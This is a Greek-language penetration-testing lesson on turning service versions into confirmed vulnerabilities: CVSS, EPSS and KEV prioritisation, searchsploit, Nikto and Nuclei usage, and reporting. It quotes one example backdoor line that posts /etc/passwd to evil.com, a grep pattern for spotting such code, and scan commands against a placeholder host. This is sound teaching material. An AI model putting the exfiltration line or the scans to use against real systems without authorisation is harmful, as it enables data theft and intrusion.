Αναζήτηση ευπαθειών — Έννοιες
Έχετε τη λίστα υπηρεσιών και τις εκδόσεις τους. Δεν γνωρίζετε ακόμη τα ελαττώματα. Αυτή την εβδομάδα, μετατρέπουμε μια έκδοση σε ίχνος εκμετάλλευσης. Είναι ο μεντεσές του pentest: χωρίς αυτόν, σαρώνουμε επ' αόριστον. Με αυτόν, χτυπάμε.
Κάθε επιβεβαίωση ευπάθειας στέλνει κάτι στον στόχο. Παραμένουμε αυστηρά μέσα στο RoE. Σε δημόσιους στόχους, δεν προχωράμε πέρα από την ελάχιστη απόδειξη (μην κάνετε dump τη βάση απλώς για ευχαρίστηση).
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Να διαβάζετε σωστά μια καρτέλα CVE και να κατανοείτε γιατί το σκορ CVSS μόνο του λέει ψέματα.
- Να χρησιμοποιείτε EPSS και KEV για να ιεραρχείτε πέρα από το CVSS.
- Να αλυσιδώνετε NVD → Exploit-DB → GitHub → Twitter/Mastodon με τη σωστή σειρά.
- Να ερμηνεύετε τα αποτελέσματα του Nikto και του Nuclei χωρίς να πνιγείτε στα ψευδώς θετικά.
- Να περνάτε από μια υπόθεση («το Apache 2.4.49 είναι ευάλωτο»)
σε μια απόδειξη («σε αυτό το ακριβές URL, ανέκτησα το
/etc/passwd»). - Να παράγετε έναν ιεραρχημένο πίνακα ευπαθειών, έτοιμο για εκμετάλλευση.
1. Η ευπάθεια, το CVE, το POC, το exploit
Τέσσερις λέξεις. Μπερδεμένες συνέχεια. Καθορίστε τις μία για πάντα.
| Λέξη | Τι είναι |
|---|---|
| Ευπάθεια | Η ίδια η αδυναμία (ένα κομμάτι κώδικα, μια ρύθμιση). Ένα τεχνικό γεγονός. |
| CVE | Ένα μοναδικό αναγνωριστικό που αποδίδεται σε μια ευπάθεια (π.χ. CVE-2021-41773). Τίποτα άλλο. |
| POC (Proof of Concept) | Ένα ελάχιστο παράδειγμα που πυροδοτεί την ευπάθεια, συχνά λίγες γραμμές. |
| Exploit | Ένα ολοκληρωμένο εργαλείο που χρησιμοποιεί την ευπάθεια για ένα χρήσιμο αποτέλεσμα (shell, RCE, εξαγωγή). |
Ένα CVE μπορεί να υπάρχει επί 5 χρόνια χωρίς δημόσιο POC — σε αυτή την περίπτωση, κανείς δεν ξέρει πραγματικά πώς να το εκμεταλλευτεί στην πράξη. Αντίστροφα, ένα exploit μπορεί να κυκλοφορεί πριν την επίσημη απόδοση ενός CVE (zero-day).
Για έναν pentester: CVE + POC + exploit = συγκεκριμένο ίχνος. CVE μόνο του = θεωρητικό ίχνος.
2. Το σκορ CVSS — η παγίδα των σκορ εκτός πλαισίου
Το CVSS (Common Vulnerability Scoring System) δίνει έναν αριθμό μεταξύ 0 και 10 σε κάθε ευπάθεια. Όλοι το κοιτάζουν. Σχεδόν όλοι το διαβάζουν λάθος.
Τρία διανύσματα CVSS συνυπάρχουν:
- CVSS Base — η θεωρητική βαθμολογία, χωρίς να λαμβάνει υπόψη το περιβάλλον σας. Αυτή επιστρέφει το Google.
- CVSS Temporal — προσαρμοσμένη ανάλογα με το αν υπάρχει POC, αν διατίθεται patch.
- CVSS Environmental — προσαρμοσμένη ανάλογα με το δικό σας πλαίσιο: είναι η υπηρεσία εκτεθειμένη, επεξεργάζεται κρίσιμα δεδομένα;
Ένα CVSS Base 9.8 σε μια εσωτερική υπηρεσία, φιλτραρισμένη, διορθωμένη σε 2 ώρες = CVSS Environmental 4.2.
Ένα CVSS Base 6.5 σε μια εφαρμογή εκτεθειμένη στο Internet, μη διορθωμένη εδώ και 2 χρόνια, με ένα τετριμμένο δημόσιο exploit = CVSS Environmental 9.6 στην πράξη.
Μην ταξινομείτε τα ευρήματά σας με το CVSS Base. Επαναϋπολογίστε με το χέρι με το πλαίσιο του πελάτη.
3. EPSS — η πιθανότητα να εκμεταλλευτεί πραγματικά
EPSS (Exploit Prediction Scoring System): μια πιθανότητα, μεταξύ 0 και 1, ότι η ευπάθεια θα εκμεταλλευτεί τις επόμενες 30 ημέρες. Υπολογισμένη από πραγματικές παρατηρήσεις (honeypots, αισθητήρες Internet).
| EPSS | Ερμηνεία |
|---|---|
| < 0.01 | Ξεχασμένη ευπάθεια, κανένα exploit σε κυκλοφορία. |
| 0.01 - 0.10 | Σπάνιο αλλά πιθανό. |
| 0.10 - 0.50 | Μέτριο, διαθέσιμο exploit, πιθανή στόχευση. |
| > 0.50 | Ισχυρό. Βλέπουμε το exploit να κυκλοφορεί ενεργά. |
| > 0.90 | Θα έπρεπε ήδη να έχετε διορθώσει. |
Επίσημος ιστότοπος: www.first.org/epss.
Το EPSS συμπληρώνει το CVSS. Ένα CVSS 7.5 + EPSS 0.9 είναι πιο επείγον από ένα CVSS 9.8 + EPSS 0.001.
4. KEV (CISA) — η απόλυτη επείγουσα κατάσταση
Η CISA (αμερικανική υπηρεσία κυβερνοασφάλειας) τηρεί το KEV (Known Exploited Vulnerabilities Catalog). Ένα CVE παρόν στο KEV σημαίνει «ενεργά εκμεταλλευόμενο στην πράξη».
Ιστότοπος: www.cisa.gov/known-exploited-vulnerabilities-catalog.
Για έναν pentester: ένα CVE KEV στον πελάτη σας είναι άμεση προτεραιότητα 1. Δεν ζητάτε άδεια, καλείτε επειγόντως τον πελάτη αν το επιβεβαιώσετε κατά τη διάρκεια της δοκιμής.
5. Η τυπική διαδρομή για την ταξινόμηση ενός CVE
Μια αναπαραγώγιμη μέθοδος σε 6 βήματα. Μην παραλείψετε βήμα.
Βήμα 1 — Επαλήθευση της έκδοσης
Ο scanner είπε Apache 2.4.49. Είναι σχεδόν πάντα αλήθεια — εκτός από
τις διανομές που backportάρουν ένα patch χωρίς να αλλάξουν τον
αριθμό έκδοσης. Το Debian/Ubuntu συχνά προσθέτει -ubuntuX: το
Apache/2.4.49-1ubuntu5.3 μπορεί να είναι διορθωμένο ενώ το
Apache/2.4.49 vanilla δεν είναι.
Επαλήθευση:
# Σε εσωτερικό pentest, αν έχετε shell: dpkg -l apache2 ή rpm -qi httpd
# Εξωτερικά, σε black box: δοκιμάστε το POC. Αν λειτουργεί, είναι εντάξει.
Βήμα 2 — Ερώτηση στο NVD
nvd.nist.gov — το επίσημο αποθετήριο. Κάθε CVE έχει εκεί μια καρτέλα με CVSS, περιγραφή, αναφορές, σχετικά προϊόντα.
Βήμα 3 — Αναζήτηση POC ή exploit
Με τη σειρά:
- Exploit-DB: η ιστορική βάση. Αναζήτηση κατά προϊόν / έκδοση / CVE.
- GitHub search: τα πιο πρόσφατα POC συχνά εμφανίζονται πρώτα στο GitHub.
- Twitter / Mastodon (μέσω ερευνητών infosec): τα zero-day και οι νέες τεχνικές περνούν πρώτα εδώ.
- Blog ερευνητών: Rapid7, PortSwigger, Watchtowr, Assetnote. Συχνά μια εξήγηση + αναλυτικό POC.
Στο Kali, το searchsploit ερωτά ένα τοπικό αντίγραφο του Exploit-DB,
ενημερωμένο:
searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py # φέρνει ένα exploit τοπικά
Βήμα 4 — Ανάγνωση του exploit πριν την εκτέλεση
ΠΟΤΕ μην εκτελείτε ένα exploit που βρήκατε στο Internet χωρίς να το διαβάσετε πρώτα.
Δύο λόγοι:
- Ορισμένα δημόσια exploit περιέχουν backdoor που στοχεύουν
αρχάριους. Ένα
import requests; requests.post('http://evil.com', data=open('/etc/passwd').read())κρυμμένο στο script κλέβει τα δικά σας δεδομένα. - Ένα exploit μπορεί να είναι καταστροφικό (format, ακούσιο DoS). Δεν είστε στο RoE γι' αυτό.
Περάστε κάθε exploit από το grep -i "eval\|exec\|base64\|http\|curl\|nc "
πριν το εκτελέσετε.
Βήμα 5 — Προσαρμογή στον στόχο
Ένα δημόσιο POC συχνά χρησιμοποιεί γενικά μονοπάτια ή παραμέτρους. Ο
στόχος μπορεί να έχει μετονομάσει το endpoint του, αλλάξει τη θύρα
του, τροποποιήσει την κεφαλίδα Host. Προσαρμόστε πριν
κατηγορήσετε το exploit.
Βήμα 6 — Καθαρή αναπαραγωγή
Τρία στοιχεία ελάχιστο στις αποδείξεις σας:
- Το αίτημα που στάλθηκε (
curl -vκαταγεγραμμένο, ή Burp raw request). - Η παρατηρηθείσα απάντηση (αποκαλυπτικό απόσπασμα).
- Ένα screenshot ή ένα αρχείο εξόδου που ο πελάτης μπορεί να επαληθεύσει.
Χωρίς αυτά τα τρία στοιχεία, η ευπάθεια δεν είναι διαπιστωμένη, είναι υποψιαζόμενη.
6. Nikto — ο πρόγονος σαρωτής web
Το nikto ερωτά μια εφαρμογή web με αρκετές χιλιάδες δοκιμές.
Ισχυρό, φλύαρο, γεμάτο ψευδώς θετικά.
nikto -h https://cible.com -Format txt -o rapports/nikto-cible.txt
Τι κάνει καλά:
- Εντοπισμός ξεχασμένων αρχείων (
.git/config,phpinfo.php,backup.tgz). - Εντοπισμός banners έκδοσης.
- Εντοπισμός επικίνδυνων ρυθμίσεων (επικίνδυνες μέθοδοι HTTP, ελλείπουσες κεφαλίδες).
Τι κάνει άσχημα:
- Επαναλαμβανόμενα ψευδώς θετικά στα σύγχρονα frameworks που
επιστρέφουν
200 OKγια τα πάντα. - Θορυβώδες — ένα πλήρες
niktoείναι αρκετές χιλιάδες αιτήματα. - Δεν ακολουθεί εφαρμοσμένες ανακατευθύνσεις — χάνει πράγματα.
Τυπική χρήση: γρήγορο πέρασμα, φιλτράρουμε τα πραγματικά ευρήματα με το χέρι.
7. Nuclei — ο σύγχρονος σαρωτής, προσανατολισμένος σε templates
Το nuclei (από την ProjectDiscovery)
φορτώνει templates YAML που περιγράφουν μια ευπάθεια και την
υπογραφή της. Ενεργή κοινότητα, χιλιάδες templates.
# Templates τύπου CVE και έκθεσης, σοβαρότητα υψηλή και κρίσιμη
nuclei -u https://cible.com -tags cve,exposure -severity high,critical
# Στοχευμένο σε συγκεκριμένο CVE
nuclei -u https://cible.com -t http/cves/2021/CVE-2021-41773.yaml
Δυνατά σημεία:
- Σπάνια ψευδώς θετικά (τα templates γράφονται για να ταιριάζουν ακριβώς).
- Γρήγορο (multi-threaded, HTTP/2).
- Συνεχής ενημέρωση από την κοινότητα.
Αδύναμα σημεία:
- Δεν αντικαθιστά ένα pentest — βρίσκει ό,τι γνωρίζει.
- Μπορεί να προκαλέσει θόρυβο σε έναν στόχο αν δεν φιλτράρετε τα tags.
Καλή πρακτική: -tags cve,exposure για ανακάλυψη, μετά στοχευμένα
templates μόλις υπάρχει ίχνος.
8. Οι σαρωτές εφαρμογών (επισκόπηση)
Σε αυτό το στάδιο, δεν αντικαθιστούμε ένα pentest με έναν scanner. Αλλά γνωρίζουμε τι προσφέρει ο καθένας:
| Εργαλείο | Τομέας | Δύναμη |
|---|---|---|
| Nessus / OpenVAS | Δίκτυο, VM, hosts | Μαζική απογραφή, ενημερωμένες βάσεις CVE. |
| Nikto | Web (γενικό) | Ξεχασμένα αρχεία, banners. |
| Nuclei | Web (templates) | Στοχευμένος εντοπισμός CVE. |
| Burp Suite (Scanner Pro) | Web (εφαρμοσμένο) | Το καλύτερο για ευπάθειες OWASP Top 10. |
| Trivy | Εικόνες Docker, εξαρτήσεις | CVE στα packages. |
| kube-hunter | Kubernetes | Εσωτερικές σαρώσεις clusters. |
Σε ένα σοβαρό pentest, χρησιμοποιούμε τουλάχιστον δύο διαφορετικούς scanners και διασταυρώνουμε.
9. Η ιεράρχηση — μην παραδώσετε μια επίπεδη λίστα
Μια αναφορά με 200 μη ιεραρχημένες γραμμές είναι άχρηστη. Ομαδοποιήστε.
| Προτεραιότητα | Κριτήρια |
|---|---|
| P1 — Κρίσιμη | Εκμεταλλεύσιμη χωρίς αυθεντικοποίηση + δημόσια εκτεθειμένη + KEV ή δημόσιο POC. |
| P2 — Υψηλή | Εκμεταλλεύσιμη με τυπικό λογαριασμό + πρόσβαση σε ευαίσθητα δεδομένα. |
| P3 — Μέτρια | Εκμεταλλεύσιμη υπό σπάνιες συνθήκες, περιορισμένος αντίκτυπος. |
| P4 — Χαμηλή / Ρύθμιση | Σφάλμα ρύθμισης, υγιεινή, προς διόρθωση χωρίς επείγον. |
Κάθε γραμμή της αναφοράς φέρει:
- Τον σύντομο τίτλο.
- Την προτεραιότητα.
- Το CVSS Base και το επαναϋπολογισμένο περιβαλλοντικό σας CVSS.
- Το EPSS αν είναι γνωστό.
- Αν υπάρχει στο KEV (ναι/όχι).
- Την απόδειξη (URL, αίτημα, απάντηση).
- Τη σύσταση (patch, ρύθμιση, μετριασμός).
10. Τα λάθη που σκοτώνουν την αξιοπιστία
- Αναφορά μόνο CVSS Base. Ο πελάτης θα δει αμέσως ότι δεν κάνατε επαναδιαμόρφωση με βάση το πλαίσιο.
- Αντιγραφή-επικόλληση της καρτέλας NVD. Ο πελάτης ξέρει να διαβάζει το NVD. Σας πληρώνει για το πλαίσιο.
- Ευπάθεια χωρίς αναπαραγώγιμη απόδειξη. «Η υπηρεσία είναι ευάλωτη στο CVE-2021-XXXX» χωρίς αίτημα/απάντηση — ο RSSI δεν μπορεί να κάνει τίποτα με αυτό.
- Ψευδώς θετικά του Nikto που έμειναν στην αναφορά. Ένα μόνο ψευδώς θετικό απαξιώνει ολόκληρη την αναφορά.
- Προτεραιότητα P1 από υπερβολή. Αν όλα είναι P1, τίποτα πια δεν είναι P1.
- Αγνοώντας τις αλυσιδωτές ευπάθειες. Δύο P3 που αλυσιδώνονται συχνά αξίζουν όσο ένα P1. Επισημάνετε την αλυσίδα.
11. Τι πρέπει να συγκρατήσετε
- Ευπάθεια, CVE, POC, exploit: τέσσερα διακριτά πράγματα.
- Το CVSS Base λέει ψέματα εκτός πλαισίου. Το CVSS Environmental και το EPSS + KEV ιεραρχούν σωστά.
- Το πέρασμα από έκδοση σε ελάττωμα ακολουθεί 6 βήματα: έκδοση → NVD → POC → ανάγνωση του POC → προσαρμογή → απόδειξη.
- Το Nikto και το Nuclei είναι συμπληρωματικά. Κανένα δεν αντικαθιστά την ανθρώπινη ματιά.
- Η αναφορά είναι ιεραρχημένη, όχι επίπεδη. Κάθε γραμμή έχει απόδειξη και σύσταση.
Επόμενο μάθημα: ταξινομούμε τις ευπάθειες των δύο μας Metasploitable — και ρίχνουμε δύο, χωρίς Metasploit, με το χέρι.